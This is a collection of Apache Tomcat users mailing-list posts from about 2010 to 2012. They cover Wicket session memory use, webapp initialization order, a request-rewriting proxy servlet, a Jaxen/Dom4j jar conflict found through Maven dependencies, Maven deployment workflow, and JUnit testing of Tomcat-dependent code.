Re: memory leak in tomcat
Is this the same server with the Wicket app you posted about earlier ? If so, you have a Wicket app that is storing the SessionFactoryObjectFactory on a page as a class member. Wicket stores each page a user has been to in the user's session. If the page has class members, then it serializes them and stores them too. I have seen this kind of thing happen many times before causing big memory usage. Remove the Wicket app and run the Eclipse Memory Analyzer. Thanks, Warren Bell On 5/24/12 5:42 AM, Konstantin Kolinko wrote: > 2012/5/24 Christian Kaufhold : >> Hi, >> >> I have a leaking Tomcat App >> I checked the heap with the Eclipse Memory Analyser >> and it says >> >> The classloader/component *"org.apache.catalina.loader.WebappClassLoader @ >> 0x94532f50"* >> occupies *376.421.152 (79,51%)* bytes. The memory is accumulated in one >> instance of >> *"java.util.HashMap$Entry[]"* loaded by *""*. >> > > So the memory is used for something useful? That is not a "memory > leak". It is just a web application requiring a lot of memory. > > WebappClassLoader is the classloader that is used to load the classes > of your webapp. Of course, it remembers every class that it loaded > (to satisfy repeated class.forName() calls) and every class that it > loads has a reference it it (via getClass().getClassLoader()). > > There may be many classes, but I do not think that the classloader > itself is responsible for 300 Mb of memory. > >> and the data that is in the entries of the gigantic Map is >> org.hibernate.impl.SessionFactoryObjectFactory >> > > That would be a hibernate question. I have no clue what that class is about. > > Best regards, > Konstantin Kolinko > > - > To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org > For additional commands, e-mail: users-h...@tomcat.apache.org > - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: tomcat slowing down
Here is a good link explaining some of the pros and cons of Wicket. Look at the part titled "Wicket Session size!" http://www.small-improvements.com/10-things-about-apache-wicket-i-love Thanks, Warren Bell On 5/16/12 12:49 PM, Mikolaj Rydzewski wrote: > On 05/16/2012 05:35 PM, Christian Kaufhold wrote: >> its not intentional but the myfaces App runs on the server for years now >> and should not cause the problem >> I recently deployed a wicket app and now >> the server is slowing down when we have about 10 users or so. >> > > So there are two different applications? Myfaces (which used to work for > a long time) and wicket (which takes server down)? > I'd separate them first to have clear environment for investigation. > Then enable GC logging, attach jvisualvm, deploy psi probe > (http://code.google.com/p/psi-probe/), etc. > - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: tomcat slowing down
A Wicket app that is not written correctly can suck up resources. Wicket keeps track of pages a user has been on by serializing them, "back button support". If a page has references to other objects, it serializes them and so on and so on. It can get real ugly real quick. Wicket has many built-in ways to keep this from happening, but it is still easy for a beginner to write an app that can cause problems. Thanks, Warren Bell On 5/16/12 12:49 PM, Mikolaj Rydzewski wrote: > On 05/16/2012 05:35 PM, Christian Kaufhold wrote: >> its not intentional but the myfaces App runs on the server for years now >> and should not cause the problem >> I recently deployed a wicket app and now >> the server is slowing down when we have about 10 users or so. >> > > So there are two different applications? Myfaces (which used to work for > a long time) and wicket (which takes server down)? > I'd separate them first to have clear environment for investigation. > Then enable GC logging, attach jvisualvm, deploy psi probe > (http://code.google.com/p/psi-probe/), etc. > - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: Initializing webapps in a certain order
On 3/13/12 6:37 PM, Caldarale, Charles R wrote: >> From: Warren Bell [mailto:warrenbe...@gmail.com] >> Subject: Initializing webapps in a certain order > >> Can you initialize webapps in a certain order ? > > Read the FAQ: > http://wiki.apache.org/tomcat/FAQ/Miscellaneous#Q27 > > The primary reason is that the servlet spec requires that each webapp be > self-contained and independent. > >> I have two apps, app1 and app2. app2 needs to access app1 during app2's >> initialization. I need app1 to be initialized first and be done before >> app2 starts to initialize. > > Sounds like a bad plan. If the apps are so tightly coupled, why aren't they > just one webapp? They could eventually be on two servers, still may be a bad plan though. Thanks, Warren Bell > > - Chuck > > > THIS COMMUNICATION MAY CONTAIN CONFIDENTIAL AND/OR OTHERWISE PROPRIETARY > MATERIAL and is thus for use only by the intended recipient. If you received > this in error, please contact the sender and delete the e-mail and its > attachments from all computers. > > > - > To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org > For additional commands, e-mail: users-h...@tomcat.apache.org > - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Initializing webapps in a certain order
Can you initialize webapps in a certain order ? I have two apps, app1 and app2. app2 needs to access app1 during app2's initialization. I need app1 to be initialized first and be done before app2 starts to initialize. -- Thanks, Warren Bell - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Modifying requests and responses in a proxy
I am in the process of writing a servlet that acts as a proxy where I can modify request post parameters and thought I better check and see if I am trying to reinvent the wheel. I see there are proxies like mod_proxy that can be used to connect Apache to Tomcat and I also saw Tomcat virtual hosts, but i am not sure that either of these can handle what I am trying to do. I want to be able to modify the request sent by the client and then forward it to the target server. I also want to be able to modify the response sent back by the target server and then forward it back to the client. Client Browser -> Proxy (modify request) -> Target Server Target Server -> Proxy (modify response) -> Client Browser Other requirements: 1. I do not want to use an Apache/Tomcat combination, Tomcat only. 2. The Proxy and Target Server are two different applications (contexts) that may be running in the same instance of Tomcat or may be on two different physical servers at different locations across the Internet. The solution needs to work in both of these scenarios. 3. It needs to accommodate any rewriting of headers with host info in them like 302 redirect Location headers. My current solution uses a combination of a Servlet Filter that wraps the request and response, so I can modify them, and then passes it to a proxy servlet. I have it working pretty well as long as the proxy servlet is run as the ROOT app in one instance of Tomcat and the target server runs in another instance of Tomcat. The minute I try to run the proxy servlet with a context path or run the proxy servlet and the target app in the same Tomcat instance, I run into an evil 302 loop with the target server app or a loop with the proxy itself. I thought I better check and see if there is a better way of doing all of this before I spend any more time coding for these situations. -- Thanks, Warren Bell - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: RESOLVED Tomcat xerces conflicts and Endorsed,Standards Override Mechanism
Tomcat Users, I Just wanted to get back and let everyone know how I resolved this issue in case someone else comes against the same type of problem. First off, it had nothing to do with Tomcat or the JDK. It was a conflict between two jars that Maven brought into my project with Smooks and Velocity Tools. Jaxen from Smooks and Dom4j from Velocity Tools both have the class named org.jaxen.JaxenHandler. In my case org.jaxen.JaxenHandler from Dom4j got loaded and Smooks tried to use it instead of the Jaxen version. This resolved into the exception: java.lang.IncompatibleClassChangeError: Class org.jaxen.JaxenHandler does not implement the requested interface org.jaxen.saxpath.XPathHandler I believed at first it was a conflict with Tomcat. In my case I did not need Dom4j and I excluded it. Smooks is happy now. I need to keep my dependencies a little neater and use the exclude tag a little more often. Thanks for everyone's help. Thanks, Warren Bell On 12/12/11 10:27 PM, Pid * wrote: > On 13 Dec 2011, at 03:27, Warren Bell wrote: > >> Here are all the jars in my app. There are a lot. The jars that came in >> as dependencies of smooks are: >> >> milyn-smooks-csv-1.5.jar >> openscv-1.8.jar >> milyn-smooks-flatfile-1.5.jar >> milyn-smooks-javabean-1.5.jar >> milyn-smooks-core-1.5.jar >> milyn-commons-1.5.jar >> freemaker-2.3.15.jar >> javassist-3.10.0.GA.jar >> xstream-1.4.1.jar >> xmlpull-1.1.3.1.jar >> xpp3_min-1.1.4c.jar >> mvel2-2.0.17.jar >> jaxen-1.1.1.jar >> xercesImpl-2.6.2.jar >> jta-1.1.jar > > So I'd guess that anything with an X in its name would go in endorsed, > then I'd refine from there. > > >> >> All of the other jars in my app: >> >> activation-1.1.jarmvel2-2.0.17.jar >> antlr-2.7.2.jaropencsv-1.8.jar >> aopalliance-1.0.jaroro-2.0.8.jar >> aspectjrt-1.6.1.jarpostgresql-8.3-603.jdbc3.jar >> aspectjweaver-1.6.1.jarservlet-api-2.3.jar >> cglib-nodep-2.1_3.jarservlet-api-2.5.jar > > Couple of servlet-api jars in there, that you don't want. > > You may also be able to persuade Maven to not include some of the > others, if they're not needed. > > You should consider upgrading Spring too. > > > p > >> commons-beanutils-1.7.0.jarslf4j-api-1.5.8.jar >> commons-chain-1.1.jarslf4j-log4j12-1.5.10.jar >> commons-codec-20041127.091804.jarspring-2.5.6.SEC01.jar >> commons-collections-3.2.1.jarspring-aspects-2.5.6.SEC01.jar >> commons-dbcp-all-1.3-r699049.jarspring-beans-2.0.8.jar >> commons-digester-1.8.jarspring-context-2.0.8.jar >> commons-email-1.1.jarspring-core-2.0.8.jar >> commons-exec-1.0.jarspring-dao-2.0.8.jar >> commons-io-1.4.jarspring-ibatis-2.0.8.jar >> commons-lang-2.4.jarspring-jdbc-2.0.8.jar >> commons-logging-1.1.jarsslext-1.2-0.jar >> commons-math-2.0.jarstruts-core-1.3.8.jar >> commons-validator-1.3.1.jarstruts-taglib-1.3.8.jar >> cron4j-2.2.3.jarstruts-tiles-1.3.8.jar >> dom4j-1.1.jarswarm-1.4-rc1.jar >> edtFTPj-2.0.4.jarvelocity-1.6.1.jar >> freemarker-2.3.15.jarvelocity-tools-2.0-beta3.jar >> hive-1.4-rc1.jarwasp-1.4-rc1.jar >> ibatis-sqlmap-2.3.0.jarwebservices-api.jar >> inmethod-grid-1.4.2-SNAPSHOT.jarwebservices-extra-api.jar >> javassist-3.10.0.GA.jarwebservices-extra.jar >> jaxen-1.1.1.jarwebservices-rt.jar >> jconn2-1.jarwicket-1.4.7.jar >> joda-time-1.6.jarwicket-datetime-1.4.7.jar >> jta-1.1.jarwicket-extensions-1.4.7.jar >> junit-3.8.1.jarwicket-ioc-1.4.7.jar >> log4j-1.2.14.jarwicket-spring-1.4.7.jar >> mail-1.4.jarwicket-spring-annot-1.3.5.jar >> milyn-commons-1.5.jarwicomsec-1.4-rc1.jar >> milyn-smooks-core-1.5.jarwiquery-1.0.1.jar >> milyn-smooks-csv-1.5.jarxercesImpl-2.6.2.jar >> milyn-smooks-flatfile-1.5.jarxmlpull-1.1.3.1.jar >> milyn-smooks-javabean-1.5.jarxpp3_min-1.1.4c.jar >> minis-1.4.1.jarxstream-1.4.1.jar >> >> I am using Maven to manage my apps dependencies. My app does not depend >> directly on some of these jars, like the struts jars. They got dragged >> in as dependencies of something else. As for the exception: >> >> java.lang.IncompatibleClassChangeError: Class org.jaxen.JaxenHandler >> does not implement the re
Re: Tomcat xerces conflicts and Endorsed,Standards Override Mechanism
Here the answers to your other questions. Thanks, Warren Bell On 12/12/11 8:25 PM, Konstantin Kolinko wrote: > 2011/12/10 Warren Bell : >> Hello Tomcat Users, >> >> I am having a problem with xerces and other jars in the JDK or Tomcat >> conflicting with jars in my app. I am getting the following exception >> when instantiating Smooks, a csv library that usese xerces, in a web app >> running in Tomcat: > > What exact version of Tomcat x.y.z you are running and on what JDK? Tomcat 6.0.16 JDK 1.6 > > (IIRC several bugs wrt XML parser handling were fixed during the last > year. Though it might not be related to your issue). > > Do you run single webapp there, or several complex ones? Single > > I think the libs should stay in app's WEB-INF/lib folder. Do not put > them in endorsed for now. (That will affect Tomcat as a whole). > > As others noted, your libraries list is a mess. > > One blatant thing is that you have both Spring 2.0.8 and 2.5.6 jars. > They are not supposed to coexist. Also note that there is "SEC03" > update of 2.5.6. > > Best regards, > Konstantin Kolinko > > - > To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org > For additional commands, e-mail: users-h...@tomcat.apache.org > - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: Tomcat xerces conflicts and Endorsed,Standards Override Mechanism
I was afraid I was going to get a reaction to my list like I did, it is a mess. You get lazy and you just enter in a dependency and let Maven drag everything in with it. As for the servlet jars, Tomcat just ignores them and I never took the time to figure out where they were coming from, that goes for the Struts jars too. INFO [main] - validateJarFile(/Library/apache-tomcat-6.0.16/webapps/scanman/WEB-INF/lib/servlet-api-2.3.jar) - jar not loaded. See Servlet Spec 2.3, section 9.7.2. Offending class: javax/servlet/Servlet.class INFO [main] - validateJarFile(/Library/apache-tomcat-6.0.16/webapps/scanman/WEB-INF/lib/servlet-api-2.5.jar) - jar not loaded. See Servlet Spec 2.3, section 9.7.2. Offending class: javax/servlet/Servlet.class How are you suppose to know what jars you really need when you let Maven manage them ? I place just 2 dependencies in my pom.xml and 15 jars get added to my project. Thanks, Warren Bell On 12/12/11 8:25 PM, Konstantin Kolinko wrote: > 2011/12/10 Warren Bell : >> Hello Tomcat Users, >> >> I am having a problem with xerces and other jars in the JDK or Tomcat >> conflicting with jars in my app. I am getting the following exception >> when instantiating Smooks, a csv library that usese xerces, in a web app >> running in Tomcat: > > What exact version of Tomcat x.y.z you are running and on what JDK? > > (IIRC several bugs wrt XML parser handling were fixed during the last > year. Though it might not be related to your issue). > > Do you run single webapp there, or several complex ones? > > I think the libs should stay in app's WEB-INF/lib folder. Do not put > them in endorsed for now. (That will affect Tomcat as a whole). > > As others noted, your libraries list is a mess. > > One blatant thing is that you have both Spring 2.0.8 and 2.5.6 jars. > They are not supposed to coexist. Also note that there is "SEC03" > update of 2.5.6. > > Best regards, > Konstantin Kolinko > > - > To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org > For additional commands, e-mail: users-h...@tomcat.apache.org > - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: Tomcat xerces conflicts and Endorsed,Standards Override Mechanism
Here are all the jars in my app. There are a lot. The jars that came in as dependencies of smooks are: milyn-smooks-csv-1.5.jar openscv-1.8.jar milyn-smooks-flatfile-1.5.jar milyn-smooks-javabean-1.5.jar milyn-smooks-core-1.5.jar milyn-commons-1.5.jar freemaker-2.3.15.jar javassist-3.10.0.GA.jar xstream-1.4.1.jar xmlpull-1.1.3.1.jar xpp3_min-1.1.4c.jar mvel2-2.0.17.jar jaxen-1.1.1.jar xercesImpl-2.6.2.jar jta-1.1.jar All of the other jars in my app: activation-1.1.jar mvel2-2.0.17.jar antlr-2.7.2.jar opencsv-1.8.jar aopalliance-1.0.jar oro-2.0.8.jar aspectjrt-1.6.1.jar postgresql-8.3-603.jdbc3.jar aspectjweaver-1.6.1.jar servlet-api-2.3.jar cglib-nodep-2.1_3.jar servlet-api-2.5.jar commons-beanutils-1.7.0.jar slf4j-api-1.5.8.jar commons-chain-1.1.jar slf4j-log4j12-1.5.10.jar commons-codec-20041127.091804.jar spring-2.5.6.SEC01.jar commons-collections-3.2.1.jar spring-aspects-2.5.6.SEC01.jar commons-dbcp-all-1.3-r699049.jarspring-beans-2.0.8.jar commons-digester-1.8.jarspring-context-2.0.8.jar commons-email-1.1.jar spring-core-2.0.8.jar commons-exec-1.0.jarspring-dao-2.0.8.jar commons-io-1.4.jar spring-ibatis-2.0.8.jar commons-lang-2.4.jarspring-jdbc-2.0.8.jar commons-logging-1.1.jar sslext-1.2-0.jar commons-math-2.0.jarstruts-core-1.3.8.jar commons-validator-1.3.1.jar struts-taglib-1.3.8.jar cron4j-2.2.3.jarstruts-tiles-1.3.8.jar dom4j-1.1.jar swarm-1.4-rc1.jar edtFTPj-2.0.4.jar velocity-1.6.1.jar freemarker-2.3.15.jar velocity-tools-2.0-beta3.jar hive-1.4-rc1.jarwasp-1.4-rc1.jar ibatis-sqlmap-2.3.0.jar webservices-api.jar inmethod-grid-1.4.2-SNAPSHOT.jarwebservices-extra-api.jar javassist-3.10.0.GA.jar webservices-extra.jar jaxen-1.1.1.jar webservices-rt.jar jconn2-1.jarwicket-1.4.7.jar joda-time-1.6.jar wicket-datetime-1.4.7.jar jta-1.1.jar wicket-extensions-1.4.7.jar junit-3.8.1.jar wicket-ioc-1.4.7.jar log4j-1.2.14.jarwicket-spring-1.4.7.jar mail-1.4.jarwicket-spring-annot-1.3.5.jar milyn-commons-1.5.jar wicomsec-1.4-rc1.jar milyn-smooks-core-1.5.jar wiquery-1.0.1.jar milyn-smooks-csv-1.5.jarxercesImpl-2.6.2.jar milyn-smooks-flatfile-1.5.jar xmlpull-1.1.3.1.jar milyn-smooks-javabean-1.5.jar xpp3_min-1.1.4c.jar minis-1.4.1.jar xstream-1.4.1.jar I am using Maven to manage my apps dependencies. My app does not depend directly on some of these jars, like the struts jars. They got dragged in as dependencies of something else. As for the exception: java.lang.IncompatibleClassChangeError: Class org.jaxen.JaxenHandler does not implement the requested interface org.jaxen.saxpath.XPathHandler at org.jaxen.saxpath.base.XPathReader.parse(XPathReader.java:98) at org.milyn.cdr.xpath.SelectorStepBuilder._buildSteps(SelectorStepBuilder.java:110) at org.milyn.cdr.xpath.SelectorStepBuilder.(SelectorStepBuilder.java:43) at org.milyn.cdr.SmooksResourceConfiguration.setSelector(SmooksResourceConfiguration.java:447) at org.milyn.cdr.SmooksResourceConfiguration.(SmooksResourceConfiguration.java:304) at org.milyn.cdr.SmooksResourceConfigurationStore.addHandlerFactoryConfig(SmooksResourceConfigurationStore.java:143) at org.milyn.cdr.SmooksResourceConfigurationStore.registerInstalledHandlerFactories(SmooksResourceConfigurationStore.java:139) at org.milyn.cdr.SmooksResourceConfigurationStore.(SmooksResourceConfigurationStore.java:112) at org.milyn.container.standalone.StandaloneApplicationContext.(StandaloneApplicationContext.java:59) at org.milyn.Smooks.(Smooks.java:118) at org.milyn.Smooks.(Smooks.java:170) at com.scanman.cron.task.ImportPriceChangesFromSupplier.executeTask(ImportPriceChangesFromSupplier.java:70) at com.scanman.cron.task.ScanManTask.execute(ScanManTask.java:79) at it.sauronsoftware.cron4j.TaskExecutor$Runner.run(Unknown Source) at java.lang.Thread.run(Thread.java:680) This is the first exception thrown before I started moving jars around into the endorsed folder. The endorsed folder is empty when this exception is thrown. Thanks, Warren Bell On 12/12/11 11:49 AM, Christopher Schultz wrote: > Warren, > > On 12/9/11 4:47 PM, Warren Bell wrote: >> This makes me think I am on the right track and the exceptions I >> am getting seem to point
Tomcat xerces conflicts and Endorsed,Standards Override Mechanism
Hello Tomcat Users, I am having a problem with xerces and other jars in the JDK or Tomcat conflicting with jars in my app. I am getting the following exception when instantiating Smooks, a csv library that usese xerces, in a web app running in Tomcat: java.lang.IncompatibleClassChangeError: Class org.jaxen.JaxenHandler does not implement the requested interface org.jaxen.saxpath.XPathHandler I found something in the Tomcat docs and at Oracle about "Endorsed Standards Override Mechanism". http://tomcat.apache.org/tomcat-6.0-doc/class-loader-howto.html So I followed the directions and placed the jaxen-1.1.1.jar in the Tomcat endorsed directory. I ran the app again and got a diferent exception: org.apache.xerces.impl.dv.DVFactoryException: DTD factory class org.apache.xerces.impl.dv.dtd.DTDDVFactoryImpl does not extend from DTDDVFactory. I then placed xercesImpl-2.6.2.jar in the Tomcat endorsed directory. I ran the app again and got a diferent exception: java.lang.NoSuchMethodError: org.apache.xerces.impl.xs.XMLSchemaLoader.loadGrammar([Lorg/apache/xerces/xni/parser/XMLInputSource;)V This makes me think I am on the right track and the exceptions I am getting seem to point to the wrong classes being loaded. My question is, is their a set of XML related jars that I should take out of my app and place in this endorsed directory or is there a different way of fixing this problem ? Thanks, Warren Bell - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: Maven and Tomcat and Eclipse
Nobody's answered this, but perhaps this shouldn't really be in this mailing list. I'll try with a maven list. This problem is closed. Thanks Il 17/10/10 16.46, Malcolm Warren ha scritto: Dear All, I've spent three days reading two books about Maven, all of the Maven site, and finally searching the web for hours. But unfortunately I seem unable to work out and understand one simple concept and I've reached the end of my tether. Hope somebody can help! I've successfully moved a small application from using Ant to Maven, using the default Maven folder structure. And Maven does a lovely job of compiling it. But what I just can't work out is where do I (the developer) and Tomcat fit into all of this now? - I have a nice myapp/appSrc/src/main/java folder containing all if my source for the app and another myapp/appWeb/src/main/webapp folder containing the web files. And with a parent .pom and two child .poms exactly as recommended on the maven site, maven compiles my source, places it in a .jar file in the repository and into the target WEB-INF/lib folder along with all the dependencies. But what next? Where do I work? - In the original Ant setup Ant would compile my source files and place them in the -original- webapp/WEB-INF/lib folder, so that is where Tomcat comes in - picking up the app from the original webapp folder. But with Maven I can no longer work in the original webapp folder, because now everything gets copied into the target, and that is where I find the .jar file and all its dependencies - in the target folders. So I could set up Tomcat to work in the target folder I suppose and there I start developing. But wait a minute, if I want to change a sentence in a .jsp file, let's say, and see the result, how do I go about that? I can't work in the target folder because everything gets copied from the original folder and it would get written over, but I can't work in Tomcat from the original folder either because the .jar file and its dependencies aren't there. ??? Ok so now I've found all over the web references to the tomcat Maven plug-in which, using the Manager app, deploys and can later redeploy your app to Tomcat. But that doesn't make much sense to me either. Is that the route I have to go down? Because if so, we're saying that for every tiddly little change to a .jsp file while developing I have to run a maven install followed by a redeploy, which doesn't seem to make much sense. I must be missing something here. I'd be very grateful for any help to get me moving the right direction again. Thanks for listening. -- At the moment my Tomcat server is independent of Eclipse, I don't use the internal tomcat possibilities, I see that Maven can run a Tomcat as well. I'd prefer to remain with my independent version if possible as I have four other apps that will eventually have to be moved to Maven as well. Malcolm - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Maven and Tomcat and Eclipse
Dear All, I've spent three days reading two books about Maven, all of the Maven site, and finally searching the web for hours. But unfortunately I seem unable to work out and understand one simple concept and I've reached the end of my tether. Hope somebody can help! I've successfully moved a small application from using Ant to Maven, using the default Maven folder structure. And Maven does a lovely job of compiling it. But what I just can't work out is where do I (the developer) and Tomcat fit into all of this now? - I have a nice myapp/appSrc/src/main/java folder containing all if my source for the app and another myapp/appWeb/src/main/webapp folder containing the web files. And with a parent .pom and two child .poms exactly as recommended on the maven site, maven compiles my source, places it in a .jar file in the repository and into the target WEB-INF/lib folder along with all the dependencies. But what next? Where do I work? - In the original Ant setup Ant would compile my source files and place them in the -original- webapp/WEB-INF/lib folder, so that is where Tomcat comes in - picking up the app from the original webapp folder. But with Maven I can no longer work in the original webapp folder, because now everything gets copied into the target, and that is where I find the .jar file and all its dependencies - in the target folders. So I could set up Tomcat to work in the target folder I suppose and there I start developing. But wait a minute, if I want to change a sentence in a .jsp file, let's say, and see the result, how do I go about that? I can't work in the target folder because everything gets copied from the original folder and it would get written over, but I can't work in Tomcat from the original folder either because the .jar file and its dependencies aren't there. ??? Ok so now I've found all over the web references to the tomcat Maven plug-in which, using the Manager app, deploys and can later redeploy your app to Tomcat. But that doesn't make much sense to me either. Is that the route I have to go down? Because if so, we're saying that for every tiddly little change to a .jsp file while developing I have to run a maven install followed by a redeploy, which doesn't seem to make much sense. I must be missing something here. I'd be very grateful for any help to get me moving the right direction again. Thanks for listening. -- At the moment my Tomcat server is independent of Eclipse, I don't use the internal tomcat possibilities, I see that Maven can run a Tomcat as well. I'd prefer to remain with my independent version if possible as I have four other apps that will eventually have to be moved to Maven as well. Malcolm
Re: Fw: Applet Servlet communication in Tomcat 7
On Sat, Oct 9, 2010 at 7:43 PM, Ram karthik wrote: > basic: Applet made visible > basic: Starting applet > network: Connecting https://localhost/utilApp/ servlet/Ut ilAppsServ > let?mode=0 > & fileName= filea.ARA with proxy=DIRECT > network: Connecting https://localhost/utilApp/ servlet/Ut ilAppsServ > let?mode=0 > & fileName= fileb.ARA with cookie "user=help; ZP_CAL=%27" > network: Server https://localhost/utilApp/ servlet/Ut ilAppsServ let?mode=0 & > fileName= filec.ARA requesting to set-cookie with "JSESSIONID=AC3E134CEAF903 > 20BA442DF8 81B8F5AD.t omcat7; Path=/utilApp; Secure; HttpOnly" > basic: Applet started > >From what you stated, there's no way of knowing whether the problem is on your end in the applet or something with Tomcat. You didn't specifically state what the actual error was and so without giving more detailed information about what you expected to happen and what happened instead I don't see what we can do. Warren - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: Tomcat Consultant
http://www.springsource.com/support/professional-services SpringSource claims to be able to do this kind of thing. They were the first google result for "tomcat consultant." Did you not search for that or did you disregard it? On Fri, Sep 24, 2010 at 10:25 AM, tdelesio wrote: > > My fortune 500 company is testing a pilot for switching over a J2EE web app > over from Web Sphere application server to Tomcat and we are looking for a > consultant to setup a crusted production instance of tomcat. Does anyone > have any recommendations for a top notch consulting firm that could provide > these services? - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: Exception report - HTTP Status 500 -
If you installed your Tomcat using the Debian package manager, take a look at the tomcat startup script. While it's been a number of years since I used Debian, I seem to remember this from back in the day - look for a statement referencing "security" or "use security" or something to that effect and comment it out. Restart Tomcat and see if that doesn't fix it. On Fri, Apr 16, 2010 at 4:41 PM, Pid wrote: > On 16/04/2010 19:30, Paul Chany wrote: >> Hi, >> >> I have installed on my Debian GNU/Linux Lenny system tomcat5.5. >> >> When the system boot, and in firefox browser opens the tomcat 's page: >> http://localhost:8180/ , I get an error message: >> ---> >> type Exception report >> message >> description The server encountered an internal error () that \ >> prevented it from fulfilling this request. >> exception >> java.security.AccessControlException: access denied \ >> (java.lang.RuntimePermission accessClassInPackage.org.apache.coyote) >> java.security.AccessControlContext.checkPermission\ >> (AccessControlContext.java:342) >> java.security.AccessController.checkPermission\ >> (AccessController.java:553) >> java.lang.SecurityManager.checkPermission(SecurityManager.java:549) >> java.lang.SecurityManager.checkPackageAccess(SecurityManager.java:1529) >> sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:291) >> java.lang.ClassLoader.loadClass(ClassLoader.java:316) >> java.lang.ClassLoader.loadClass(ClassLoader.java:316) >> java.lang.ClassLoader.loadClass(ClassLoader.java:268) >> java.lang.ClassLoader.loadClassInternal(ClassLoader.java:336) >> org.apache.coyote.http11.InternalOutputBuffer.sendStatus\ >> (InternalOutputBuffer.java:452) >> org.apache.coyote.http11.Http11Processor.prepareResponse\ >> (Http11Processor.java:1617) >> org.apache.coyote.http11.Http11Processor.action\ >> (Http11Processor.java:967) >> org.apache.coyote.Response.action(Response.java:181) >> org.apache.coyote.http11.InternalOutputBuffer.doWrite\ >> (InternalOutputBuffer.java:576) >> org.apache.coyote.Response.doWrite(Response.java:560) >> org.apache.catalina.connector.OutputBuffer.realWriteBytes\ >> (OutputBuffer.java:361) >> org.apache.tomcat.util.buf.ByteChunk.append(ByteChunk.java:323) >> org.apache.tomcat.util.buf.IntermediateOutputStream.write\ >> (C2BConverter.java:236) >> sun.nio.cs.StreamEncoder.writeBytes(StreamEncoder.java:220) >> sun.nio.cs.StreamEncoder.implFlushBuffer(StreamEncoder.java:290) >> sun.nio.cs.StreamEncoder.implFlush(StreamEncoder.java:294) >> sun.nio.cs.StreamEncoder.flush(StreamEncoder.java:140) >> java.io.OutputStreamWriter.flush(OutputStreamWriter.java:229) >> org.apache.tomcat.util.buf.WriteConvertor.flush(C2BConverter.java:185) >> org.apache.tomcat.util.buf.C2BConverter.flushBuffer\ >> (C2BConverter.java:128) >> org.apache.catalina.connector.OutputBuffer.realWriteChars\ >> (OutputBuffer.java:536) >> org.apache.tomcat.util.buf.CharChunk.append(CharChunk.java:255) >> org.apache.catalina.connector.OutputBuffer.write\ >> (OutputBuffer.java:456) >> org.apache.catalina.connector.CoyoteWriter.write\ >> (CoyoteWriter.java:143) >> org.apache.jasper.runtime.JspWriterImpl.flushBuffer\ >> (JspWriterImpl.java:119) >> org.apache.jasper.runtime.JspWriterImpl.write(JspWriterImpl.java:326) >> org.apache.jasper.runtime.JspWriterImpl.write(JspWriterImpl.java:342) >> org.apache.jsp.index_jsp._jspService(index_jsp.java:50) >> org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:98) >> javax.servlet.http.HttpServlet.service(HttpServlet.java:802) >> sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) >> sun.reflect.NativeMethodAccessorImpl.invoke\ >> (NativeMethodAccessorImpl.java:57) >> sun.reflect.DelegatingMethodAccessorImpl.invoke\ >> (DelegatingMethodAccessorImpl.java:43) >> java.lang.reflect.Method.invoke(Method.java:616) >> org.apache.catalina.security.SecurityUtil$1.run(SecurityUtil.java:244) >> java.security.AccessController.doPrivileged(Native Method) >> javax.security.auth.Subject.doAsPrivileged(Subject.java:537) >> org.apache.catalina.security.SecurityUtil.execute\ >> (SecurityUtil.java:276) >> org.apache.catalina.security.SecurityUtil.doAsPrivilege\ >> (SecurityUtil.java:162) >> < >> >> When I refresh the webpage, I get the Tomcat5.5 homepage, without any >> errors. > > Exactly which version of Tomcat 5.5.nn? > > > p > >> -- >> Regards, Paul Chany >> You can freely correct me in my English. >> http://csanyi-pal.info >> >> >> >> >> >> - >> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org >> For additional commands, e-mail: users-h...@tomcat.apache.org > > > - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: Junit and Tomcat
Thank you for your reply. I'm more interested in testing common java classes: e.g. beans being used by .jsp files, but these java classes depend heavily on two things provided by Tomcat in its own virtual machine which Junit can't get at. 1) datasources 2) file paths regards, Malcolm Il 08/04/10 16.01, Gregor Schneider ha scritto: What do you wnat to test specifically? JSPs? Servlets? or just some common Java classes being used by a Servlet / JSP? Rgds Gregor
Junit and Tomcat
Dear All, I've been going round in circles for about two weeks now trying to work out how to use Junit with Tomcat effectively. Any help or advice about how to do this would be very much appreciated. The main problems are probably well known, but what does everyone else do about it? But the odd part is that there's very little about all this to be found on the internet. 1) I get my datasources from Tomcat, so I can't get to them from Junit 2) I get the path in the file system to my Tomcat folder from Tomcat, which is very convenient, but in consequence every path to a file in my code depends on this. For example I'm trying to test a method which uses a value from a property file, but I can't do it, because the Junit test can't find the property file path. Searching the web again and again has brought up very little except Cactus. Cactus on paper looks like a good idea, but Cactus has a very low profile in google searches, which possibly means it is not used much. But more important is the fact that it doesn't appear to be supported any more since it uses an old version of Junit without annotations, and I'm already used to the new version. I could probably code round the problem: but the recoding - just so that I can test things effectively - will be enormous. Thanks for any help with this. Regards, Malcolm Warren
